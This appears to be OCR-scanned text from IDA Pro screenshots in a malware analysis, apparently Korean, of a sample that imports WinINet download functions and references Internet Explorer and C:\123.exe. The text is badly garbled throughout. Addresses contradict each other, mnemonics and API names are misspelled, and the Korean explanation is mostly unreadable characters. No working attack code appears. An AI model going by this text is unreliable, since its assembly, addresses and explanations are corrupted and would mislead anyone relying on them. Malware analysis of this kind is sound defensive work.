Attributes: bp-based frame

public start

.text:18803FCD start proc near
-text:10003FCD

.text:188083FCD arg_® = duword ptr 8
.text:168803FCD arg_4 = dword ptr BCh
-text:18883FCD arg_8 = dword ptr A18h

.text:18883FCD
_text:18083FCD ;
.text:18883FCD ;
.text:18883FCD

* .text:18883FCD

* .text:18883FCE

* .text:18883FDA

* .text:18883FD1

* .text:18883FD2

* .text:180883FD3

* _text:10003FDL4

FUNCTION CHUNK AT _text:18883C5a SIZE
FUHCTION CHUNK AT .text:18083FB6 SIZE

push ebp

mowv ebp, esp
inc ecx

push edx

nop

nop

nop

<

Marking typical code sequences...

Flushing buffers, please wait...
WSystem22hglomtwou.d11!
=+ \Prugram Files»IDAnidchida.ido'.

File
Compiling t1le
Executing function
Compiling file
Executing function 'oOnLoad

ID4 is analysing the input f'l'l

‘main'

ak
is

= \Pr‘ogr‘am F1'Ie5\IDA\1 dchonload. ide!

Strings window
Address Length Type  Shing o
00000005 C a0 E
00000005 C W1l E
00000005 C J3+th1B
00000005 C & at
Q0000007 C atbhthbh i
00000005 C A+hwlB
00000008 C <4377
00000005 C harBbk B
0000000F C (30,185,728
00000005 C whnirhaib
00000011 C IntemetR eadFile
0000000F C HitpQuerylnfod,
00000014 C IntemetClozeH andle
Q0000011 C InternetD penlrld,
L. rdatal...  0000000E C Intermet0 pend, %
AE &
Id
| £
[Ead

successTully Toaded into the database.

You ma: start to g DE the |
The initial autoanal =
[l
ALl idle Dowwen | Disk: BGE 00003FCD 10003FCD: start
oF &2 EAE HoleE & £ UCE ‘Strings window’ &e| 2ol FE H Fo| 2=
EZl P FAEo0|Ch =S MIE Internet Exploreroll 2l3] C:w123.exe Hio|Hz| mhde
MK EICH HiO|EA 2|ZELL A" Zolof| mE2H Mor|s2 JHIXDD UX| 2 AeZE o
ot=lCt,
5. Z2&
oltHof| 274 El tMulele HAEZ O|FO0{Zl A3RE male gefjz =Xsio &M ZE
24Mo0f X|Ao] BEEst M| ZE|XIF LASIHEIT & A Lol X| RSIEE XAlS &5t
1 e Aol EXolct sk A ZE E=XsHA| 21 dIl HeElZ =X sict o] ==
Ctsoz AMME X @220 Internet Explorero Z|Msto] AsizE 2 PC WsiHo|E ZX| &
X erect ot ol 2l AlM Internet Explorere| &o| EEX| 41 digai=E=z AldEn] =
EMAHDN E= oAlg HIX| 2 F EEHD A= AWo|l EFHolct



